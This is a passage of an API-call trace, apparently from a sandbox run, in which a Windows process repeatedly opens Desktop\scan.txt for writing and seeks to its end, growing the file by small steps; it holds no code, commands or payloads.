[0167.230] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4ce
[0167.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.231] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4dd
[0167.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.232] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4ec
[0167.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.233] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.233] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4fb
[0167.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.235] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x50a
[0167.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.238] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.239] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x519
[0167.240] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.240] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.241] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x528
[0167.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.242] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x537
[0167.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.244] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x546
[0167.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.342] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x555
[0167.343] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.343] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.343] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x564
[0167.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.350] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x573
[0167.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.353] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x582
[0167.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.355] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x591
[0167.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.356] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5a0
[0167.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.357] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5af
[0167.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.358] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5be
[0167.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.359] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.359] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5cd
[0167.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.360] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.360] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5dc
[0167.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.361] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5eb
[0167.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x48c
[0167.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.362] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x5fa
[0167.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.363] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
